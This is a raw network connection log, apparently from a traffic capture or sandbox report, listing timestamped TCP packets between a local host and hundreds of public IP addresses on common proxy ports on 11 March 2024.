Mar 11, 2024 16:42:19.051707029 CET	50541	8089	192.168.2.11	223.247.47.231
Mar 11, 2024 16:42:19.051959038 CET	50303	16379	192.168.2.11	163.172.131.178
Mar 11, 2024 16:42:19.051959038 CET	50303	16379	192.168.2.11	163.172.131.178
Mar 11, 2024 16:42:19.052571058 CET	50543	3128	192.168.2.11	23.152.40.14
Mar 11, 2024 16:42:19.052639961 CET	50542	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:19.053117037 CET	80	50149	104.16.143.127	192.168.2.11
Mar 11, 2024 16:42:19.053582907 CET	50544	999	192.168.2.11	179.1.133.33
Mar 11, 2024 16:42:19.053601027 CET	50545	1081	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:19.053755045 CET	80	50437	172.67.14.237	192.168.2.11
Mar 11, 2024 16:42:19.053793907 CET	50546	4153	192.168.2.11	45.226.0.2
Mar 11, 2024 16:42:19.054306030 CET	50547	25525	192.168.2.11	162.19.7.61
Mar 11, 2024 16:42:19.054418087 CET	50437	80	192.168.2.11	172.67.14.237
Mar 11, 2024 16:42:19.054960012 CET	49775	50187	138.201.21.232	192.168.2.11
Mar 11, 2024 16:42:19.055003881 CET	50437	80	192.168.2.11	172.67.14.237
Mar 11, 2024 16:42:19.055167913 CET	50548	999	192.168.2.11	168.90.255.60
Mar 11, 2024 16:42:19.055310011 CET	12334	50183	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:19.055450916 CET	50549	34560	192.168.2.11	108.181.132.117
Mar 11, 2024 16:42:19.055634975 CET	12334	50183	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:19.055737019 CET	50183	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.055886984 CET	50183	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.056320906 CET	50550	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.056525946 CET	80	50439	185.238.228.240	192.168.2.11
Mar 11, 2024 16:42:19.056648970 CET	50439	80	192.168.2.11	185.238.228.240
Mar 11, 2024 16:42:19.056726933 CET	50551	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:19.056876898 CET	50439	80	192.168.2.11	185.238.228.240
Mar 11, 2024 16:42:19.057403088 CET	44195	50293	162.19.7.56	192.168.2.11
Mar 11, 2024 16:42:19.057430983 CET	50552	3629	192.168.2.11	46.23.53.164
Mar 11, 2024 16:42:19.057564974 CET	50293	44195	192.168.2.11	162.19.7.56
Mar 11, 2024 16:42:19.057719946 CET	50293	44195	192.168.2.11	162.19.7.56
Mar 11, 2024 16:42:19.057939053 CET	50553	31409	192.168.2.11	121.139.218.165
Mar 11, 2024 16:42:19.058274031 CET	3128	50308	194.145.209.187	192.168.2.11
Mar 11, 2024 16:42:19.058784962 CET	50554	16379	192.168.2.11	163.172.137.49
Mar 11, 2024 16:42:19.059355021 CET	50555	55994	192.168.2.11	38.127.172.219
Mar 11, 2024 16:42:19.059475899 CET	50556	80	192.168.2.11	51.161.56.52
Mar 11, 2024 16:42:19.059540033 CET	4145	50125	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.059638977 CET	50125	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.059676886 CET	4145	50125	190.153.121.2	192.168.2.11
Mar 11, 2024 16:42:19.059762955 CET	50125	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.060929060 CET	50557	4145	192.168.2.11	190.153.121.2
Mar 11, 2024 16:42:19.060930014 CET	50558	4153	192.168.2.11	176.197.144.158
Mar 11, 2024 16:42:19.061984062 CET	50560	3128	192.168.2.11	213.131.230.161
Mar 11, 2024 16:42:19.062041998 CET	50559	39095	192.168.2.11	192.163.200.82
Mar 11, 2024 16:42:19.062043905 CET	50561	5529	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.062655926 CET	50562	1080	192.168.2.11	45.234.100.112
Mar 11, 2024 16:42:19.063081026 CET	50564	47056	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:19.063162088 CET	50563	80	192.168.2.11	31.43.179.160
Mar 11, 2024 16:42:19.063498974 CET	49964	17145	192.168.2.11	67.43.236.18
Mar 11, 2024 16:42:19.063498974 CET	49842	8089	192.168.2.11	123.182.58.221
Mar 11, 2024 16:42:19.063515902 CET	49843	3629	192.168.2.11	178.158.197.147
Mar 11, 2024 16:42:19.063541889 CET	49881	5678	192.168.2.11	176.119.227.65
Mar 11, 2024 16:42:19.063544989 CET	49828	5678	192.168.2.11	123.108.98.108
Mar 11, 2024 16:42:19.064474106 CET	50566	45534	192.168.2.11	209.250.248.127
Mar 11, 2024 16:42:19.064476013 CET	50565	3128	192.168.2.11	198.199.122.10
Mar 11, 2024 16:42:19.064804077 CET	6001	50380	20.106.146.212	192.168.2.11
Mar 11, 2024 16:42:19.064996958 CET	50380	6001	192.168.2.11	20.106.146.212
Mar 11, 2024 16:42:19.065371037 CET	50567	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:19.065516949 CET	1080	50249	54.212.22.168	192.168.2.11
Mar 11, 2024 16:42:19.065526009 CET	50380	6001	192.168.2.11	20.106.146.212
Mar 11, 2024 16:42:19.065723896 CET	50568	8080	192.168.2.11	103.140.34.61
Mar 11, 2024 16:42:19.066446066 CET	50569	3128	192.168.2.11	3.212.148.199
Mar 11, 2024 16:42:19.066579103 CET	50570	56225	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.067447901 CET	50571	8080	192.168.2.11	103.111.136.110
Mar 11, 2024 16:42:19.067585945 CET	50572	19802	192.168.2.11	72.167.38.7
Mar 11, 2024 16:42:19.067950964 CET	50573	1080	192.168.2.11	140.250.150.56
Mar 11, 2024 16:42:19.068914890 CET	50575	4153	192.168.2.11	185.22.31.227
Mar 11, 2024 16:42:19.068944931 CET	50574	46783	192.168.2.11	162.241.158.204
Mar 11, 2024 16:42:19.069727898 CET	50576	42647	192.168.2.11	185.66.59.4
Mar 11, 2024 16:42:19.070040941 CET	50577	1256	192.168.2.11	188.133.155.215
Mar 11, 2024 16:42:19.070108891 CET	50578	18080	192.168.2.11	54.178.159.199
Mar 11, 2024 16:42:19.070348978 CET	1080	50249	54.212.22.168	192.168.2.11
Mar 11, 2024 16:42:19.071908951 CET	50580	8080	192.168.2.11	5.58.97.89
Mar 11, 2024 16:42:19.071908951 CET	50579	23711	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:19.072557926 CET	50249	1080	192.168.2.11	54.212.22.168
Mar 11, 2024 16:42:19.074064970 CET	50582	80	192.168.2.11	50.173.140.148
Mar 11, 2024 16:42:19.074064970 CET	50583	8080	192.168.2.11	85.172.0.30
Mar 11, 2024 16:42:19.074137926 CET	5432	50396	45.196.151.84	192.168.2.11
Mar 11, 2024 16:42:19.074153900 CET	19599	50386	67.43.227.228	192.168.2.11
Mar 11, 2024 16:42:19.074305058 CET	50581	3128	192.168.2.11	176.113.73.99
Mar 11, 2024 16:42:19.074315071 CET	50584	80	192.168.2.11	185.238.228.202
Mar 11, 2024 16:42:19.074337959 CET	50396	5432	192.168.2.11	45.196.151.84
Mar 11, 2024 16:42:19.074793100 CET	3128	50313	46.101.102.134	192.168.2.11
Mar 11, 2024 16:42:19.074836969 CET	50396	5432	192.168.2.11	45.196.151.84
Mar 11, 2024 16:42:19.074949980 CET	50585	51507	192.168.2.11	135.148.10.161
Mar 11, 2024 16:42:19.075591087 CET	50586	27639	192.168.2.11	185.45.194.176
Mar 11, 2024 16:42:19.075639963 CET	50587	80	192.168.2.11	104.25.87.42
Mar 11, 2024 16:42:19.076545000 CET	50588	80	192.168.2.11	104.21.223.181
Mar 11, 2024 16:42:19.076880932 CET	50589	46296	192.168.2.11	46.101.5.73
Mar 11, 2024 16:42:19.076910019 CET	80	50297	104.18.161.122	192.168.2.11
Mar 11, 2024 16:42:19.077049017 CET	50590	80	192.168.2.11	50.222.245.41
Mar 11, 2024 16:42:19.077073097 CET	80	50297	104.18.161.122	192.168.2.11
Mar 11, 2024 16:42:19.077235937 CET	80	50297	104.18.161.122	192.168.2.11
Mar 11, 2024 16:42:19.077330112 CET	50297	80	192.168.2.11	104.18.161.122
Mar 11, 2024 16:42:19.078018904 CET	50297	80	192.168.2.11	104.18.161.122
Mar 11, 2024 16:42:19.078131914 CET	50591	5896	192.168.2.11	94.23.168.246
Mar 11, 2024 16:42:19.078322887 CET	50592	51535	192.168.2.11	162.241.66.135
Mar 11, 2024 16:42:19.079013109 CET	8080	49784	42.200.196.208	192.168.2.11
Mar 11, 2024 16:42:19.079125881 CET	49838	1080	192.168.2.11	5.252.23.220
Mar 11, 2024 16:42:19.079137087 CET	49837	80	192.168.2.11	52.24.80.166
Mar 11, 2024 16:42:19.079137087 CET	50010	55137	192.168.2.11	192.169.197.146
Mar 11, 2024 16:42:19.079137087 CET	49846	8080	192.168.2.11	85.117.60.162
Mar 11, 2024 16:42:19.079161882 CET	49839	8080	192.168.2.11	160.19.169.208
Mar 11, 2024 16:42:19.079160929 CET	49836	3128	192.168.2.11	155.50.241.99
Mar 11, 2024 16:42:19.079180002 CET	50593	3128	192.168.2.11	120.24.52.179
Mar 11, 2024 16:42:19.079246044 CET	49840	60781	192.168.2.11	132.148.129.254
Mar 11, 2024 16:42:19.080532074 CET	50595	16379	192.168.2.11	51.158.108.165
Mar 11, 2024 16:42:19.080533981 CET	50594	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:19.081388950 CET	3129	49733	20.219.180.149	192.168.2.11
Mar 11, 2024 16:42:19.081758976 CET	50596	8443	192.168.2.11	27.254.123.203
Mar 11, 2024 16:42:19.082339048 CET	50598	4145	192.168.2.11	103.66.233.161
Mar 11, 2024 16:42:19.082387924 CET	50597	8080	192.168.2.11	102.164.252.145
Mar 11, 2024 16:42:19.082957983 CET	50599	60148	192.168.2.11	207.180.198.241
Mar 11, 2024 16:42:19.083602905 CET	9002	50085	111.59.4.88	192.168.2.11
Mar 11, 2024 16:42:19.083765030 CET	50085	9002	192.168.2.11	111.59.4.88
Mar 11, 2024 16:42:19.084109068 CET	80	50447	172.67.209.12	192.168.2.11
Mar 11, 2024 16:42:19.084127903 CET	50085	9002	192.168.2.11	111.59.4.88
Mar 11, 2024 16:42:19.084252119 CET	50447	80	192.168.2.11	172.67.209.12
Mar 11, 2024 16:42:19.084800959 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.084835052 CET	50600	16379	192.168.2.11	51.158.96.66
Mar 11, 2024 16:42:19.084857941 CET	50447	80	192.168.2.11	172.67.209.12
Mar 11, 2024 16:42:19.085038900 CET	50323	9123	192.168.2.11	173.249.29.243
Mar 11, 2024 16:42:19.085104942 CET	50601	60651	192.168.2.11	162.241.6.97
Mar 11, 2024 16:42:19.085139990 CET	50323	9123	192.168.2.11	173.249.29.243
Mar 11, 2024 16:42:19.085390091 CET	50602	3128	192.168.2.11	185.191.236.162
Mar 11, 2024 16:42:19.086694956 CET	50603	80	192.168.2.11	41.77.188.131
Mar 11, 2024 16:42:19.086759090 CET	50604	80	192.168.2.11	51.222.155.142
Mar 11, 2024 16:42:19.086918116 CET	50605	38772	192.168.2.11	213.136.79.177
Mar 11, 2024 16:42:19.088184118 CET	50607	3629	192.168.2.11	103.144.209.104
Mar 11, 2024 16:42:19.088184118 CET	50606	9292	192.168.2.11	45.232.79.0
Mar 11, 2024 16:42:19.088387966 CET	50608	63055	192.168.2.11	51.161.131.84
Mar 11, 2024 16:42:19.089561939 CET	50609	80	192.168.2.11	104.16.109.207
Mar 11, 2024 16:42:19.089997053 CET	50610	8080	192.168.2.11	185.128.153.10
Mar 11, 2024 16:42:19.089998007 CET	50611	54047	192.168.2.11	162.214.227.68
Mar 11, 2024 16:42:19.090120077 CET	80	50451	104.20.103.68	192.168.2.11
Mar 11, 2024 16:42:19.091001987 CET	50613	38242	192.168.2.11	162.144.36.208
Mar 11, 2024 16:42:19.091104031 CET	50451	80	192.168.2.11	104.20.103.68
Mar 11, 2024 16:42:19.091105938 CET	50612	80	192.168.2.11	50.174.214.219
Mar 11, 2024 16:42:19.091321945 CET	50451	80	192.168.2.11	104.20.103.68
Mar 11, 2024 16:42:19.091418028 CET	50614	80	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.092185974 CET	50615	8901	192.168.2.11	178.23.192.249
Mar 11, 2024 16:42:19.093290091 CET	50617	8080	192.168.2.11	1.0.205.87
Mar 11, 2024 16:42:19.093307018 CET	50616	27138	192.168.2.11	173.212.209.216
Mar 11, 2024 16:42:19.093430042 CET	7302	50216	124.163.236.54	192.168.2.11
Mar 11, 2024 16:42:19.093651056 CET	50216	7302	192.168.2.11	124.163.236.54
Mar 11, 2024 16:42:19.093775034 CET	50618	999	192.168.2.11	45.65.138.48
Mar 11, 2024 16:42:19.093878984 CET	50216	7302	192.168.2.11	124.163.236.54
Mar 11, 2024 16:42:19.094321966 CET	50619	8004	192.168.2.11	128.199.221.91
Mar 11, 2024 16:42:19.094439030 CET	50621	64312	192.168.2.11	104.128.103.32
Mar 11, 2024 16:42:19.094749928 CET	49844	18877	192.168.2.11	178.128.207.96
Mar 11, 2024 16:42:19.094753027 CET	49845	999	192.168.2.11	181.65.169.37
Mar 11, 2024 16:42:19.094753027 CET	49982	25639	192.168.2.11	67.43.227.226
Mar 11, 2024 16:42:19.094768047 CET	49934	15673	192.168.2.11	43.131.245.216
Mar 11, 2024 16:42:19.094773054 CET	50620	15303	192.168.2.11	184.178.172.5
Mar 11, 2024 16:42:19.094773054 CET	49850	31337	192.168.2.11	186.251.255.73
Mar 11, 2024 16:42:19.094789028 CET	49854	8080	192.168.2.11	181.212.45.228
Mar 11, 2024 16:42:19.094827890 CET	49851	4153	192.168.2.11	190.2.104.201
Mar 11, 2024 16:42:19.094829082 CET	49849	31679	192.168.2.11	98.162.25.29
Mar 11, 2024 16:42:19.094861984 CET	49856	8080	192.168.2.11	176.88.166.218
Mar 11, 2024 16:42:19.095613956 CET	50622	1111	192.168.2.11	103.189.249.196
Mar 11, 2024 16:42:19.095665932 CET	50623	3128	192.168.2.11	155.185.15.56
Mar 11, 2024 16:42:19.096388102 CET	50624	8079	192.168.2.11	94.154.152.4
Mar 11, 2024 16:42:19.097532988 CET	50625	8080	192.168.2.11	189.203.201.146
Mar 11, 2024 16:42:19.098687887 CET	64654	50334	162.19.7.53	192.168.2.11
Mar 11, 2024 16:42:19.099423885 CET	80	50194	104.20.24.214	192.168.2.11
Mar 11, 2024 16:42:19.101147890 CET	80	50195	172.67.150.173	192.168.2.11
Mar 11, 2024 16:42:19.101979017 CET	5555	50288	14.225.254.128	192.168.2.11
Mar 11, 2024 16:42:19.102374077 CET	80	50220	195.23.57.78	192.168.2.11
Mar 11, 2024 16:42:19.103847980 CET	50626	999	192.168.2.11	190.97.238.94
Mar 11, 2024 16:42:19.104377985 CET	50627	8080	192.168.2.11	45.252.79.48
Mar 11, 2024 16:42:19.104382038 CET	50628	4153	192.168.2.11	185.171.55.218
Mar 11, 2024 16:42:19.104511023 CET	50629	25675	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.104681969 CET	50630	8001	192.168.2.11	213.171.214.19
Mar 11, 2024 16:42:19.105072975 CET	50631	16379	192.168.2.11	51.15.234.222
Mar 11, 2024 16:42:19.105089903 CET	50633	4153	192.168.2.11	190.2.110.7
Mar 11, 2024 16:42:19.105098963 CET	50632	2016	192.168.2.11	103.174.178.137
Mar 11, 2024 16:42:19.105424881 CET	50635	16379	192.168.2.11	51.158.124.167
Mar 11, 2024 16:42:19.105530024 CET	80	50462	104.16.105.142	192.168.2.11
Mar 11, 2024 16:42:19.105607986 CET	50637	80	192.168.2.11	37.120.187.59
Mar 11, 2024 16:42:19.105685949 CET	4153	50314	212.31.100.138	192.168.2.11
Mar 11, 2024 16:42:19.105704069 CET	50462	80	192.168.2.11	104.16.105.142
Mar 11, 2024 16:42:19.105916023 CET	50636	5566	192.168.2.11	195.201.246.166
Mar 11, 2024 16:42:19.106018066 CET	50314	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:19.106046915 CET	80	50321	186.124.164.213	192.168.2.11
Mar 11, 2024 16:42:19.106065989 CET	50462	80	192.168.2.11	104.16.105.142
Mar 11, 2024 16:42:19.106065989 CET	50638	42624	192.168.2.11	162.214.164.200
Mar 11, 2024 16:42:19.106079102 CET	50634	1080	192.168.2.11	77.37.155.85
Mar 11, 2024 16:42:19.106151104 CET	50321	80	192.168.2.11	186.124.164.213
Mar 11, 2024 16:42:19.106491089 CET	50321	80	192.168.2.11	186.124.164.213
Mar 11, 2024 16:42:19.106492043 CET	50314	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:19.106671095 CET	50639	8080	192.168.2.11	139.5.73.71
Mar 11, 2024 16:42:19.106843948 CET	50640	4145	192.168.2.11	202.124.46.65
Mar 11, 2024 16:42:19.106894970 CET	50641	6012	192.168.2.11	45.11.95.165
Mar 11, 2024 16:42:19.107538939 CET	37876	49778	162.241.50.179	192.168.2.11
Mar 11, 2024 16:42:19.107646942 CET	50642	48085	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:19.108032942 CET	49778	37876	192.168.2.11	162.241.50.179
Mar 11, 2024 16:42:19.108134985 CET	49778	37876	192.168.2.11	162.241.50.179
Mar 11, 2024 16:42:19.108599901 CET	50643	8080	192.168.2.11	165.16.46.193
Mar 11, 2024 16:42:19.108900070 CET	80	50209	172.67.38.96	192.168.2.11
Mar 11, 2024 16:42:19.109144926 CET	50644	40571	192.168.2.11	216.10.242.18
Mar 11, 2024 16:42:19.109240055 CET	80	50366	50.173.140.149	192.168.2.11
Mar 11, 2024 16:42:19.109404087 CET	50645	9125	192.168.2.11	178.253.201.11
Mar 11, 2024 16:42:19.109776974 CET	50646	4153	192.168.2.11	202.44.228.36
Mar 11, 2024 16:42:19.110377073 CET	49947	80	192.168.2.11	50.170.90.24
Mar 11, 2024 16:42:19.110377073 CET	49860	51405	192.168.2.11	51.81.186.179
Mar 11, 2024 16:42:19.110377073 CET	49863	64120	192.168.2.11	161.97.163.52
Mar 11, 2024 16:42:19.110389948 CET	49855	36694	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:19.111435890 CET	50647	1976	192.168.2.11	41.65.55.10
Mar 11, 2024 16:42:19.111674070 CET	27391	50464	72.195.34.60	192.168.2.11
Mar 11, 2024 16:42:19.111805916 CET	50464	27391	192.168.2.11	72.195.34.60
Mar 11, 2024 16:42:19.111922979 CET	50648	80	192.168.2.11	50.173.140.150
Mar 11, 2024 16:42:19.112246990 CET	50649	80	192.168.2.11	162.214.165.203
Mar 11, 2024 16:42:19.112515926 CET	50651	8182	192.168.2.11	120.89.91.222
Mar 11, 2024 16:42:19.112520933 CET	50650	10801	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.113260031 CET	50652	8080	192.168.2.11	181.212.45.226
Mar 11, 2024 16:42:19.113749981 CET	50653	29718	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.114061117 CET	8888	50244	194.150.69.56	192.168.2.11
Mar 11, 2024 16:42:19.114202023 CET	80	50343	104.25.167.88	192.168.2.11
Mar 11, 2024 16:42:19.114216089 CET	80	50343	104.25.167.88	192.168.2.11
Mar 11, 2024 16:42:19.114227057 CET	80	50343	104.25.167.88	192.168.2.11
Mar 11, 2024 16:42:19.114239931 CET	80	50471	104.24.35.152	192.168.2.11
Mar 11, 2024 16:42:19.114435911 CET	80	50217	31.43.179.214	192.168.2.11
Mar 11, 2024 16:42:19.114623070 CET	50343	80	192.168.2.11	104.25.167.88
Mar 11, 2024 16:42:19.114623070 CET	50343	80	192.168.2.11	104.25.167.88
Mar 11, 2024 16:42:19.114633083 CET	50471	80	192.168.2.11	104.24.35.152
Mar 11, 2024 16:42:19.114634037 CET	50244	8888	192.168.2.11	194.150.69.56
Mar 11, 2024 16:42:19.114634037 CET	8000	49884	178.128.156.219	192.168.2.11
Mar 11, 2024 16:42:19.114634037 CET	50244	8888	192.168.2.11	194.150.69.56
Mar 11, 2024 16:42:19.114989996 CET	50471	80	192.168.2.11	104.24.35.152
Mar 11, 2024 16:42:19.115200996 CET	8080	50081	98.64.169.17	192.168.2.11
Mar 11, 2024 16:42:19.115246058 CET	50654	80	192.168.2.11	3.24.178.81
Mar 11, 2024 16:42:19.115777016 CET	50655	80	192.168.2.11	104.16.108.42
Mar 11, 2024 16:42:19.115787983 CET	50656	23500	192.168.2.11	109.73.184.94
Mar 11, 2024 16:42:19.116235971 CET	8000	50052	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:19.116719007 CET	8000	50052	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:19.116744041 CET	50052	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.116744041 CET	50052	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.119220018 CET	50659	999	192.168.2.11	177.93.45.156
Mar 11, 2024 16:42:19.119242907 CET	50658	80	192.168.2.11	188.165.213.106
Mar 11, 2024 16:42:19.119245052 CET	50657	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.119880915 CET	25491	50435	67.43.227.230	192.168.2.11
Mar 11, 2024 16:42:19.119956970 CET	50660	80	192.168.2.11	34.154.161.152
Mar 11, 2024 16:42:19.120718002 CET	50661	62291	192.168.2.11	161.97.170.209
Mar 11, 2024 16:42:19.120798111 CET	50662	4444	192.168.2.11	193.8.87.43
Mar 11, 2024 16:42:19.120948076 CET	50663	29197	192.168.2.11	72.10.160.90
Mar 11, 2024 16:42:19.120956898 CET	4145	50166	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:19.120999098 CET	4145	50166	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:19.121185064 CET	50664	4153	192.168.2.11	187.122.105.181
Mar 11, 2024 16:42:19.122900009 CET	5678	49751	122.152.53.25	192.168.2.11
Mar 11, 2024 16:42:19.122962952 CET	8080	50316	95.84.166.138	192.168.2.11
Mar 11, 2024 16:42:19.123092890 CET	50316	8080	192.168.2.11	95.84.166.138
Mar 11, 2024 16:42:19.123581886 CET	80	50352	172.67.231.3	192.168.2.11
Mar 11, 2024 16:42:19.123644114 CET	80	50352	172.67.231.3	192.168.2.11
Mar 11, 2024 16:42:19.123661995 CET	8118	49983	182.140.244.163	192.168.2.11
Mar 11, 2024 16:42:19.124254942 CET	80	50352	172.67.231.3	192.168.2.11
Mar 11, 2024 16:42:19.124483109 CET	4145	50431	199.58.185.9	192.168.2.11
Mar 11, 2024 16:42:19.124552011 CET	50431	4145	192.168.2.11	199.58.185.9
Mar 11, 2024 16:42:19.124557972 CET	50352	80	192.168.2.11	172.67.231.3
Mar 11, 2024 16:42:19.125910044 CET	9990	50160	117.160.250.163	192.168.2.11
Mar 11, 2024 16:42:19.125952959 CET	8080	50210	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.125965118 CET	8080	50210	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.125994921 CET	50160	9990	192.168.2.11	117.160.250.163
Mar 11, 2024 16:42:19.126020908 CET	49864	8080	192.168.2.11	105.174.40.54
Mar 11, 2024 16:42:19.126024961 CET	49871	34144	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:19.126061916 CET	49865	999	192.168.2.11	45.190.78.50
Mar 11, 2024 16:42:19.126063108 CET	49861	15430	192.168.2.11	92.205.110.118
Mar 11, 2024 16:42:19.126065016 CET	49859	999	192.168.2.11	179.1.192.27
Mar 11, 2024 16:42:19.127697945 CET	59559	50461	192.163.200.80	192.168.2.11
Mar 11, 2024 16:42:19.127916098 CET	50461	59559	192.168.2.11	192.163.200.80
Mar 11, 2024 16:42:19.128331900 CET	8080	50478	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.128418922 CET	50478	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.129823923 CET	4145	50177	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:19.130309105 CET	80	50384	50.218.57.68	192.168.2.11
Mar 11, 2024 16:42:19.130321980 CET	4145	50177	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:19.131160975 CET	80	50486	104.27.83.183	192.168.2.11
Mar 11, 2024 16:42:19.131227016 CET	80	49919	50.175.212.74	192.168.2.11
Mar 11, 2024 16:42:19.131378889 CET	50486	80	192.168.2.11	104.27.83.183
Mar 11, 2024 16:42:19.131813049 CET	80	49892	50.168.72.112	192.168.2.11
Mar 11, 2024 16:42:19.136539936 CET	80	50048	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:19.138078928 CET	80	50048	222.255.238.159	192.168.2.11
Mar 11, 2024 16:42:19.141645908 CET	49977	80	192.168.2.11	50.172.75.125
Mar 11, 2024 16:42:19.141670942 CET	49875	9990	192.168.2.11	103.234.26.163
Mar 11, 2024 16:42:19.141674042 CET	50011	3128	192.168.2.11	178.128.148.69
Mar 11, 2024 16:42:19.141674042 CET	49868	80	192.168.2.11	194.186.127.60
Mar 11, 2024 16:42:19.141674042 CET	49872	8080	192.168.2.11	87.76.1.251
Mar 11, 2024 16:42:19.141680002 CET	49946	4145	192.168.2.11	36.90.61.224
Mar 11, 2024 16:42:19.141680002 CET	49866	27234	192.168.2.11	168.228.36.22
Mar 11, 2024 16:42:19.141695976 CET	49869	17045	192.168.2.11	88.202.230.103
Mar 11, 2024 16:42:19.141695976 CET	50001	34350	192.168.2.11	66.29.128.246
Mar 11, 2024 16:42:19.142045021 CET	5678	50272	103.112.254.66	192.168.2.11
Mar 11, 2024 16:42:19.143942118 CET	39452	50375	167.172.109.12	192.168.2.11
Mar 11, 2024 16:42:19.145756960 CET	80	50247	172.67.182.126	192.168.2.11
Mar 11, 2024 16:42:19.149517059 CET	3335	50446	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:19.151644945 CET	8080	49776	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:19.151895046 CET	3128	49772	46.245.77.52	192.168.2.11
Mar 11, 2024 16:42:19.153208017 CET	4145	50436	184.178.172.3	192.168.2.11
Mar 11, 2024 16:42:19.154084921 CET	50436	4145	192.168.2.11	184.178.172.3
Mar 11, 2024 16:42:19.154154062 CET	50665	31571	192.168.2.11	72.10.160.170
Mar 11, 2024 16:42:19.154270887 CET	50431	4145	192.168.2.11	199.58.185.9
Mar 11, 2024 16:42:19.154496908 CET	50666	26087	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:19.154540062 CET	50352	80	192.168.2.11	172.67.231.3
Mar 11, 2024 16:42:19.154769897 CET	50316	8080	192.168.2.11	95.84.166.138
Mar 11, 2024 16:42:19.155008078 CET	50478	8080	192.168.2.11	66.225.246.238
Mar 11, 2024 16:42:19.155142069 CET	80	50376	172.67.3.98	192.168.2.11
Mar 11, 2024 16:42:19.155194044 CET	80	50376	172.67.3.98	192.168.2.11
Mar 11, 2024 16:42:19.155241013 CET	1080	49951	103.234.27.153	192.168.2.11
Mar 11, 2024 16:42:19.155407906 CET	80	50376	172.67.3.98	192.168.2.11
Mar 11, 2024 16:42:19.155424118 CET	50667	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:19.155498981 CET	50376	80	192.168.2.11	172.67.3.98
Mar 11, 2024 16:42:19.155500889 CET	50486	80	192.168.2.11	104.27.83.183
Mar 11, 2024 16:42:19.155936003 CET	50668	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:19.156114101 CET	1080	49951	103.234.27.153	192.168.2.11
Mar 11, 2024 16:42:19.156127930 CET	80	50381	104.24.193.186	192.168.2.11
Mar 11, 2024 16:42:19.156155109 CET	50436	4145	192.168.2.11	184.178.172.3
Mar 11, 2024 16:42:19.156181097 CET	80	50381	104.24.193.186	192.168.2.11
Mar 11, 2024 16:42:19.156260967 CET	50461	59559	192.168.2.11	192.163.200.80
Mar 11, 2024 16:42:19.156263113 CET	49951	1080	192.168.2.11	103.234.27.153
Mar 11, 2024 16:42:19.156438112 CET	49951	1080	192.168.2.11	103.234.27.153
Mar 11, 2024 16:42:19.156480074 CET	80	50381	104.24.193.186	192.168.2.11
Mar 11, 2024 16:42:19.156505108 CET	50376	80	192.168.2.11	172.67.3.98
Mar 11, 2024 16:42:19.156757116 CET	50381	80	192.168.2.11	104.24.193.186
Mar 11, 2024 16:42:19.156757116 CET	50381	80	192.168.2.11	104.24.193.186
Mar 11, 2024 16:42:19.156802893 CET	50669	1080	192.168.2.11	103.234.27.153
Mar 11, 2024 16:42:19.156862020 CET	50160	9990	192.168.2.11	117.160.250.163
Mar 11, 2024 16:42:19.157043934 CET	4145	50211	68.1.210.163	192.168.2.11
Mar 11, 2024 16:42:19.157087088 CET	4145	50211	68.1.210.163	192.168.2.11
Mar 11, 2024 16:42:19.157224894 CET	49848	5005	192.168.2.11	1.194.236.229
Mar 11, 2024 16:42:19.157243967 CET	49870	8181	192.168.2.11	103.78.96.146
Mar 11, 2024 16:42:19.157262087 CET	49874	3128	192.168.2.11	34.85.177.170
Mar 11, 2024 16:42:19.157260895 CET	50015	5385	192.168.2.11	72.10.160.170
Mar 11, 2024 16:42:19.157262087 CET	49873	4444	192.168.2.11	193.143.1.201
Mar 11, 2024 16:42:19.157262087 CET	49879	80	192.168.2.11	146.59.202.70
Mar 11, 2024 16:42:19.157264948 CET	49880	3128	192.168.2.11	18.134.236.231
Mar 11, 2024 16:42:19.157289982 CET	50019	31295	192.168.2.11	67.43.236.20
Mar 11, 2024 16:42:19.157291889 CET	49878	37847	192.168.2.11	51.75.126.150
Mar 11, 2024 16:42:19.157293081 CET	49931	80	192.168.2.11	45.139.11.200
Mar 11, 2024 16:42:19.157325983 CET	49883	32650	192.168.2.11	41.217.220.214
